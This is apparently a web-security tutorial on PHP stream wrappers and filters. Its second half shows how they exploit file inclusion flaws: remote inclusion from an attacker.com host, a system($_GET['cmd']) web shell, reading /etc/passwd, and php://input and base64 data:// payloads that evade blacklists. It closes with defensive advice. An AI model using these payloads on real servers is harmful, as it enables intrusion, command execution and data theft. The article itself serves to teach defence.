Introduced in PHP 4.3, streams are little known powerful resources that PHP provides.
In this article, we will explore ways to bypass protection methods using the PHP Stream Wrappers, which are responsible for handling protocol related tasks like downloading data from a web or ftp server and exposing it in a way in that it can be handled with PHP's stream related functions. First, let's define the key words, such as 'stream' and 'wrappers'.
## What is a Stream in IT?
In technical terms, a 'stream' is the name given to the transmission of data from source to target. The source and the target might be of various forms: a file, a TCP/IP or a UDP network connection, a standard input and output, a file transfer at a file server or a file archiving process. Even though those streams seem to be heavily different from each other, they have a common thread: they are all basically read and write processes. You either write data from a source to a target, or you transmit the data you read from the source to the target. It might look something like this:
1. Connection established
2. Data read
3. Data written
4. Connection ended
Even though the basic actions are to read and write, there are additional actions that need to happen in order to reach a web server or archive a file, or to do a simple input and output process, or establish a connection through TCP/IP or UDP.
## Generic Functions in Streaming Operations
PHP has some generic functions that enable you to interact with streams:
* file
* open
* fwrite
* fclose
* file_get_contents
* file_put_contents
In PHP, you use generic functions to perform the various streaming operations without the hassle of using individual functions, making the entire process easier.
Until today, these functions were mostly part of the stream concept and used in file read-write processes. We can now use wrappers in PHP to do various streaming processes such as HTTP, FTP, SOCKET processes, and standard input/output processes.
If you want to work with streams, you need to specify their type and target in a specific format. The stream type we’ll use in our generic functions is defined like this:
<wrapper>://<target>
The <wrapper> placeholder specifies the stream type we’ll use, for example File, FTP, PHPOUTPUT, PHPINPUT, HTTP or SSL.
If you are a PHP programmer, the following code will be familiar. It reads the some.txt file and prints its content.
<?php$handle = fopen("some.txt","rb");while(feof($handle)!==true) { echo fgets($handle);}
In the code, we’re calling the _fopen_ generic stream function using the _file://_ system wrapper. Technically, the code above does the exact same thing as the code below:
<?php$handle = fopen("file://some.txt","rb");while(feof($handle)!==true) { echo fgets($handle);}
Since the default wrapper in streaming functions is _file://_, you don’t have to specify it if you want to use it.
If you want to know which wrappers you are allowed to use, you can use the code below to list them.
<?php print_r(stream_get_wrappers());
### The Concept of Stream-Context
The default usage of stream functions may be enough for most use cases. However, there are circumstances where you need more than the default.
<?phpfile_get_contents(“http://www.example.com/news.php”);
Let’s assume that the news on _http://www.example.com/news.php_ can be easily read using the _file_get_contents_ command. But what if this website requires some form of authentication to access its contents? In such cases, you can use the stream-context specification that helps customize the stream behavior using optional parameters.
Here’s a stream-context code sample:
<?php $postdata = '{"username":"ziyahan"}' $opts = array('http' => array( 'method' => 'POST', 'header' => 'Content-type: application/json;charset=utf-8;\r\n'. 'Content-Length: '.mb_strlen($postdata), 'content' => $postdata ) ); $context = stream_context_create($opts); $response = file_get_contents('http://www.example.com/news.php', false, $context);
As seen above, Stream-Context is actually an array. The key value above indicates the wrapper type (in this case HTTP) that’ll be used in the context. Each wrapper has individual context parameters. You can read more about them in the [PHP documentation](http://php.net/manual/en/wrappers.php).
## PHP Stream Filters
We've examined the read and write processes of the streams. The stream wrappers’ main advantage is that data can be modified, changed, or deleted during the read/write process, on the fly.
PHP provides a few streaming filters. These are, _string.toupper_, _string.tolower_, _string.rot13_, and _string.strip_tags_. Various custom filters may be used in addition to these.
We can apply filters on streams using the _stream_append_filter_ function. For example, the filter below will convert all the sentences read to uppercase:
<?php $handle = fopen('file://data.txt','rb'); stream_filter_append($handle, 'string.toupper'); while(feof($handle)!==true) { echo fgets($handle); } fclose($handle);
The information read in _data.txt_ will be displayed on the screen as uppercase.
You can also use the _php://filter_ wrapper to add filters to streams:
<?php $handle = fopen('php://filter/read=string.toupper/resource=data.txt','rb'); while(feof($handle)!==true) { echo fgets($handle); } fclose($handle);
This method will be invoked the moment the streaming starts. Compared to the first example, this method is much more feasible for functions that do not allow filter attachments afterwards, such as _file()_ and _fpassthru()_.
You may use the filters for encoding (rot13, base64) or file zipping and extracting.
Besides PHP and predefined wrappers, you may use third-party wrappers like Amazon S3 or Dropbox, and write customized wrappers for specific operations.
The examples we gave until here were under the [Local File Inclusion (LFI)](https://www.netsparker.com/blog/web-security/local-file-inclusion-vulnerability/) category, which included the files from the target system in the code to extract system’s data.
## Using PHP Wrappers in a Remote File Inclusion Attack
Besides LFI, it is possible to inject code to the web application remotely. This is called [Remote File Inclusion (RFI)](https://www.netsparker.com/blog/web-security/remote-file-inclusion-vulnerability/). You can gain control over the server by executing commands and increase the capabilities of the attack.
Here’s a sample code snippet:
<?php include($_GET[“go”].”.php”);
Using this simple but powerful code, you can browse websites with links such as _www.example.com/?go=contact_ and _www.example.com/?go=products_.
However, this code has a fundamental flaw. Let’s assume that there’s a file called malscript.txt in some server far away and the file holds the following code:
<?php phpinfo();
This is the URL of the file holding the code you see above:: _**http://www.attacker.com/malscript.txt**_
The attacker would then call the following URL in order to load this malicious script.
www.example.com/?go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt<?php include(“http://www.attacker.com/malscript.txt.php”);
The .php extension added by the developer shows up in this example as a barrier. In RFI attacks, bypassing this is rather easy.
This is the URL the attacker would supply: _http://www.attacker.com/malscript.txt?q=_. And here is the full URL that the attacker needs to visit in order to execute the attack:
www.example.com/?go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt%3Fq%3D<?php include(“http://www.attacker.com/malscript.txt?q=.php”);
The .php barrier was bypassed using the “_?q=_” characters in the attack URL. That was just an example. In many cases, you can just host the file with the appropriate extension. However, this trick is also quite useful for Server Side Request Forgery attacks.
After this process, sensitive server information will be visible due to the _phpinfo()_ function in the .txt file. The .txt file was injected into the PHP function from the remote server, and the code in the text file was executed as part of the website’s code.
That was a rather harmless example though, given the fact that we can execute any given PHP command that way. The code in _malscript.txt_ can be modified to do some more damage, instead of reading reading some server information, like so:
<?php system(“uname -a”)
As you see we can execute system commands with an RFI, which is as bad as it gets. This code would allow the attacker to execute any command they want, by supplying it as GET parameter:
<?php system($_GET[“cmd”]);
Yet again we have the same script URL as in our previous examples: _http://www.attacker.com/malscript.txt?q=_. But, this time we can supply a system command as an additional GET parameter with the name CMD:
www.example.com/?cmd=uname+-a&go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt?q=
At this point, all sorts of commands can be run by the server per the attacker’s request.
If the .php extension barrier cannot be overridden using Query String, you can make use of the extension. You need to make a PHP file for this purpose and include the code below before uploading it to your server.
This is the content of the backdoor.php file:
<?php echo '<?php system($_GET["cmd"]);?>';
Therefore the new link the attacker needs to supply is: _http://www.attacker.com/backdoor_. And this is the link the attacker needs to visit in order to execute the attack:
http://example.com/?cmd=cat%20/etc/passwd&go=http%3A%2F%2Fwww.attacker.com%2Fbackdoor
PHP will evaluate this code as follows:
<?php include(“http://www.attacker.com/backdoor.php”);
### Bypassing Blacklists with Stream Wrappers
What if the developer started taking precautions and filtered out some inputs?
For example, you can no longer use _http://_ within the parameter. The path to exploit the vulnerability seems to be blocked when this is done. This is where stream wrappers come into play. Instead of using the _http://_ wrapper that’s been filtered, you may use other options such as the _php://input_ wrapper.
How can you use the wrapper, which takes the input from the _POST_ Request Body and sends it to the PHP compiler, in exploiting an RFI vulnerability?
Here is a sample request:
POST http://www.example.com?go=php://input%00 HTTP/1.1Host: example.comContent-Length: 30<?php system($_GET["cmd"]); ?>
As seen above, even though the _http://_ and _file://_ wrappers were filtered out, the _php://input_ wrapper was used to exploit the vulnerability.
Even if the developer blacklists the _php://_ wrapper and the other PHP commands that allows system level command execution (_system, cmd_), there are still ways to override the barriers. The _data://_ wrapper may be used in this case. It's job to transmit the input passed to it as type and value, to the PHP stream functions.
The code above was:
<?php system($_GET[“cmd”]);
If the _data://_ wrapper can be used, the attacker can simply use the following code without the need to host an external file:
<pre><span style="color: #ff0000;">`data://text/plain, <?php system($_GET["cmd"]);`</span></pre>
This is how the URL encoded version of the final request looks like.
data%3a%2f%2ftext%2fplain%2c+%3c%3fphp+system(%24_GET%5b%22cmd%22%5d)%3b+%3f%3ehttp://www.example.com/?go=data%3a%2f%2ftext%2fplain%2c+%3c%3fphp+system(%24_GET%5b%22cmd%22%5d)%3b+%3f%3e
With the _cmd_ parameter, any code request to be executed will be sent. For example, to get the system information, you can use _uname -a_ but you have to encode it first.
The URL used to attack:
http://www.example.com/?cmd=uname+-a&go=data%3a%2f%2ftext%2fplain%2c+<%3fphp+system(%24_GET%5b"cmd"%5d)%3b+%3f>
We forgot that the developer blacklisted the keywords like system and cmd. What can you do instead?
Thankfully the _data://_ wrapper supports base64 and rot13 encoding. Therefore, you have to encode the PHP code you’ll use to exploit the vulnerability in base64 and make the following request:
PHP code:<?php system($_GET[“cmd”]);
This is the base64 encoded version of the exploit. PHP will decode it and execute its contents.
PD9waHANCnN5c3RlbSgkX0dFVFsiY21kIl0pOw0KPz4=
The URL you’ll make a request with:
http://www.example.com/?cmd=uname+-a&go=data://text/plain;base64,PD9waHANCnN5c3RlbSgkX0dFVFsiY21kIl0pOw0KPz4=
Seems innocent, doesn’t it? Yet the script code under the _go_ parameter, encoded in base64, is ready to execute commands in operating system level using the “cmd” parameter.
## Conclusion
In this article, we took a look at how wrappers allow the use of a mutual function for different stream operations. These wrappers can also be used to bypass some security filters. As we stated in the examples above, it’s almost impossible to ensure security using blacklists since the attack scope continuously increases. It’s far more effective to whitelist the accepted functions and text inputs instead of blacklisting keywords like _http://_, _file://_, _php://_, _system_, and _cmd_, and updating them each time a new attack vector is discovered. Efficiency is key in securing your web applications.
You can also disable the remote file inclusion functionality and, as always, should never allow user controlled input in functions that allow file inclusions and eventually code execution, such as _require_, _include_, _require_once_, _include_once_ and _others_.
